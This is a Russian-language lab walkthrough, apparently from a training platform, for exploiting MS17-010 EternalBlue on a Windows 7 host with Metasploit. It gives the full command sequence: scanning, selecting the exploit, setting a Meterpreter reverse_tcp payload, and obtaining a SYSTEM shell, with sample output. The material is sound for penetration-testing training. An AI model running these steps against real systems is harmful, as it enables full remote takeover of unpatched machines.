Эксплуатация MS17-010 EternalBlue на цели с Windows 7 в Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

MS17-010, широко известная как EternalBlue, является критической уязвимостью в реализации протокола Server Message Block (SMB) от Microsoft. Эта уязвимость позволяет удаленным злоумышленникам выполнять произвольный код на затронутых системах. Metasploit Framework — это мощный инструмент с открытым исходным кодом для разработки, тестирования и выполнения эксплойт-кода.

В этой лаборатории вы примете на себя роль специалиста по тестированию на проникновение. Вы будете использовать Metasploit Framework, чтобы сначала идентифицировать уязвимую машину Windows 7 в сети с помощью модуля сканирования. Затем вы настроите и запустите эксплойт EternalBlue против цели, чтобы получить полный удаленный контроль через сессию Meterpreter. Этот практический опыт продемонстрирует реальное влияние необновленных уязвимостей.

Для целей этой лаборатории уязвимая машина Windows 7 находится в сети по IP-адресу 192.168.1.101.

Использование сканера auxiliary/scanner/smb/smb_ms17_010 для поиска целей

На этом этапе вы начнете с запуска консоли Metasploit и использования специализированного модуля сканирования для подтверждения того, что наша цель уязвима к MS17-010. Это критически важный этап разведки в любом тестировании на проникновение.

Сначала откройте терминал и запустите консоль Metasploit Framework, выполнив команду msfconsole. Загрузка может занять некоторое время.

msfconsole

После загрузки консоли вы увидите командную строку Metasploit (msf6 >). Теперь используйте команду use для выбора модуля сканирования MS17-010.

use auxiliary/scanner/smb/smb_ms17_010

Далее вам нужно указать сканеру, какие хосты проверять. Просмотрите доступные параметры для этого модуля с помощью команды show options.

show options

Вы увидите список параметров. Параметр RHOSTS является обязательным и указывает удаленный хост (или хосты) для сканирования. Установите его на IP-адрес нашей целевой машины Windows 7.

set RHOSTS 192.168.1.101

После установки цели выполните сканер, набрав run.

run

Metasploit теперь просканирует цель. Если хост уязвим, вы увидите подтверждающее сообщение в выводе.

[+] 192.168.1.101:445   - Host is likely VULNERABLE to MS17-010! (OS: Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.1.101:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Этот вывод подтверждает, что цель по адресу 192.168.1.101 уязвима и является хорошим кандидатом для нашего эксплойта.

Выбор эксплойта exploit/windows/smb/ms17_010_eternalblue

На этом этапе, после подтверждения уязвимости цели, вы выберете соответствующий модуль эксплойта в Metasploit. Модуль ms17_010_eternalblue предназначен для эксплуатации этой конкретной уязвимости.

В консоли Metasploit снова используйте команду use, но на этот раз для загрузки модуля эксплойта.

use exploit/windows/smb/ms17_010_eternalblue

После выполнения команды вы заметите, что ваша командная строка изменится, отражая контекст недавно выбранного модуля эксплойта. Это означает, что вы теперь работаете в пространстве конфигурации для эксплойта EternalBlue.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

Этот модуль содержит код, который будет отправлен на целевую машину для использования уязвимости SMB и предоставления вам возможности выполнять дальнейшие команды.

Установка параметра RHOSTS на уязвимую цель Windows 7

На этом этапе вы настроите модуль эксплойта для нацеливания на конкретный IP-адрес уязвимой машины. В то время как сканер мог проверять диапазон IP-адресов, эксплойт должен быть направлен на одну подтвержденную цель.

Как и в случае с модулем сканера, вы можете просмотреть параметры конфигурации эксплойта с помощью команды show options.

show options

Вы увидите, что этот модуль также имеет параметр RHOSTS, который означает "Remote Hosts" (Удаленные хосты). В настоящее время он пуст. Вы должны установить его на IP-адрес вашей цели Windows 7, который вы подтвердили на первом шаге.

Используйте команду set для присвоения IP-адреса 192.168.1.101 параметру RHOSTS.

set RHOSTS 192.168.1.101

Metasploit подтвердит изменение.

RHOSTS => 192.168.1.101

Теперь эксплойт точно знает, куда направить атаку.

Установка полезной нагрузки windows/x64/meterpreter/reverse_tcp

На этом шаге вы выберете полезную нагрузку (payload). Полезная нагрузка — это код, который будет выполняться на целевой системе после успешной компрометации эксплойтом. Для этой лаборатории вы будете использовать Meterpreter, продвинутую, динамически расширяемую полезную нагрузку.

Полезная нагрузка windows/x64/meterpreter/reverse_tcp является отличным выбором. Она создает соединение с целевой машины обратно к вам (обратный шелл, "reverse" shell), что часто успешно обходит брандмауэры. Она также предназначена для 64-битных систем Windows.

Используйте команду set payload для ее выбора.

set payload windows/x64/meterpreter/reverse_tcp

Metasploit подтвердит установку полезной нагрузки.

payload => windows/x64/meterpreter/reverse_tcp

Хотя Metasploit часто выбирает полезную нагрузку по умолчанию, явная установка гарантирует, что вы используете ту, которая наилучшим образом соответствует вашей цели. Вы можете снова запустить show options, чтобы увидеть параметры как для эксплойта, так и для полезной нагрузки. Вы заметите новые параметры, такие как LHOST (Listening Host - Хост для прослушивания) и LPORT (Listening Port - Порт для прослушивания), которые Metasploit обычно автоматически настраивает на IP-адрес вашей машины.

Запуск эксплойта и установление сессии Meterpreter

На этом шаге, после настройки всех параметров, вы запустите эксплойт и получите контроль над целевой машиной.

Вся подготовка завершена. Эксплойт выбран, цель установлена, и полезная нагрузка выбрана. Чтобы запустить атаку, просто используйте команду exploit.

exploit

Metasploit попытается использовать уязвимость на цели. Вы увидите несколько сообщений о статусе выполнения. В случае успеха эксплойт доставит полезную нагрузку Meterpreter, и вы увидите сообщение, указывающее на "WIN!" и что открыта новая сессия.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
[+] 192.168.1.101:445 - Connection established for exploitation.
...
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49157) at 2023-10-27 10:30:00 -0400

meterpreter >

Приглашение meterpreter > означает успех! Теперь у вас есть удаленный шелл на машине жертвы. Чтобы продемонстрировать свой контроль, выполните команду getuid, чтобы увидеть, от имени какой учетной записи пользователя вы работаете.

getuid

Вывод должен быть следующим:

Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM — это наивысший уровень привилегий в системе Windows. Вы успешно скомпрометировали цель. Вы также можете выполнить команду sysinfo, чтобы получить информацию о системе.

sysinfo
Computer        : WIN7-VICTIM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

Поздравляем, вы успешно использовали эксплойт MS17-010.

Итоги

В этой лаборатории вы получили практический опыт работы с одной из самых известных уязвимостей с использованием Metasploit Framework.

Вы успешно:

  • Использовали вспомогательный сканирующий модуль для идентификации хоста, уязвимого к MS17-010.
  • Выбрали и настроили модуль эксплойта ms17_010_eternalblue.
  • Установили мощную полезную нагрузку meterpreter для установления удаленного соединения.
  • Выполнили эксплойт и получили сессию Meterpreter уровня SYSTEM на целевой машине с Windows 7.

Это упражнение подчеркивает критическую важность своевременного применения исправлений безопасности для операционных систем. Одной неустраненной уязвимости может быть достаточно, чтобы злоумышленник получил полный контроль над системой.